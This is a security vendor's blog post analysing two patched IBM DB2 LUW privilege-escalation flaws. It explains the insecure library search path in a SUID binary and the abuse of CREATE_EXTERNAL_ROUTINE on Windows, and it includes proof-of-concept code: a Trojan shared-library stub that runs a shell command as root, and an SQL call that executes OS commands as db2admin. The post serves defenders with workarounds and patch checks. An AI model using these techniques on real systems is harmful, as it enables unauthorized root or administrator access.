Trustwave SpiderLabs Exposes Unique Cybersecurity Threats in the Public Sector. Learn More

Trustwave SpiderLabs Exposes Unique Cybersecurity Threats in the Public Sector. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

About Two Recently Patched IBM DB2 LUW Vulnerabilities

IBM recently released patches for three security vulnerabilities affecting various versions of DB2 for Linux, Unix and Windows. This post will explore some more technical details of two of these vulnerabilities (CVE-2014-0907 and CVE-2013-6744) to help database administrators assess the risk of the vulnerabilities in the context of their own environment and design possible protections or workarounds. The post will also explain how to verify that a database is patched against these vulnerabilities using our AppDetectivePRO or DbProtect products.


This vulnerability in DB2 LUW could allow a local user to gain root privileges. It can only be exploited by users through a local system account login. Read the advisory from the researcher who originally reported the issue here.

IBM suggests the following workaround in the bulletin:

cd <DB2_instance_install_directory>
bin/db2chglibpath -s '\.:' -r '' adm/db2iclean

Let's see what specifically was fixed and how this could be exploited by an attacker.

First, the db2chglibpath tools purpose is to alter a binary's embedded library search path. Comparing adm/db2iclean before and after running db2chglibpath on returns the following:


This means that shared libraries used by the binary will be searched in the current directory in addition to other locations.

The next step is to examine what happens when db2iclean is started: The strace utility can be used for this task.

$ sudo strace -o /tmp/db2iclean.log /home/db2inst1/sqllib/adm/db2iclean
$ cat /tmp/db2iclean.log | more
access("/etc/", R_OK) = -1 ENOENT (No such file or directory)
open("./tls/i686/sse2/cmov/", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./cmov/", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("/DoNotCreateThisPath_marker1.*chglibpath/tls/i686/sse2/cmov/", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

The app tries to load from the current directory before it finds it in the location where it was installed by DB2. If there is a hostile version of the library available, it will be loaded and its code will be executed as root essentially since the db2iclean is SUID root. The db2iclean itself is not publicly executable so the attacker has to be a member of the db2iadm1 group to be able to invoke the binary or entice other users to run this binary from a location where a Trojan shared library is placed.


Create a Trojan library and name it after a real library used by the SUID binary:

// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i)
system("id > /m.log");

The only function name here matches the one that db2iclean expects to find and execute in the shared library.

Compile it:

$ gcc -shared -o libdb2ure2.cpp

As a regular user launch SUID binary affected by the problem in a directory where the trojan shared library is placed:


Examine the result:

$ cat /m.log

uid=1004(james) gid=1001(james) euid=0(root) groups=0(root),126(db2iadm1),1001(james)

Notice the EUID value – the code essentially runs with the highest privileges possible.

So the fix would be as IBM suggests: update SUID binaries affected so they do not look for shared libraries in the current directory anymore. Developers should never assume that it is safe to load libraries from untrusted locations!

More information about RPATH (runtime library path):


This vulnerability in IBM DB2 for Linux, Unix and Windows could allow an authenticated user to obtain elevated privileges on Windows.

To exploit the vulnerability the malicious user would need:

  1. Valid credentials to connect to the database
  2. CONNECT privilege on the database
  3. CREATE_EXTERNAL_ROUTINE authority to create an external routine. This privilege is not granted to PUBLIC by default.

As a local fix IBM suggests revoking CREATE_EXTERNAL_ROUTINE from all users and only grant the privilege to trusted users.

On a Windows platform the DB2 service runs under a privileged account by default and the fenced process spawned by the DB2 service is not subject to access control checks. That means a non-privileged user having CREATE_EXTERNAL_ROUTINE authority can create a malicious library and invoke it so it will execute with elevated privileges.


Suppose we have DB2 LUW 10.1 Fix Pack 1 running on Windows in default configuration.

As a user granted the CREATE_EXTERNAL_ROUTINE authority, run the following DDL to create a wrapper around the Microsoft C runtime system function:


Then, invoke it:

CALL db2_exec('whoami /all > C:\whoami.log')

Examine the file created: it will contain the db2admin account information. This means that an unprivileged user runs code as db2admin which is a member of the local Administrators group.

Once the fix is enabled (db2set DB2_LIMIT_FENCED_GROUP=ON is a first part of it), the procedure returns an error:

SQL1646N A routine failed because the fenced user ID cannot access required files in the sqllib directory or other instance or database directories.

Now the fenced user actions are subject to access control checks. This vulnerability affects only Windows installations because on that platform the account used to run the service is a privileged one .


Trustwave AppDetectivePRO and DbProtect verify if IBM DB2 LUW is patched with latest updates including fixes to the issues mentioned above. Note that for the second issue (CVE-2013-6744) the fix must be manually enabled once the latest fix pack has been applied.

Latest SpiderLabs Blogs

Important Security Defenses to Help Your CISO Sleep at Night

This is Part 13 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

2024 Public Sector Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies

Trustwave SpiderLabs’ 2024 Public Sector Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies report details the security issues facing public sector security teams as...

Read More

How to Create the Asset Inventory You Probably Don't Have

This is Part 12 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More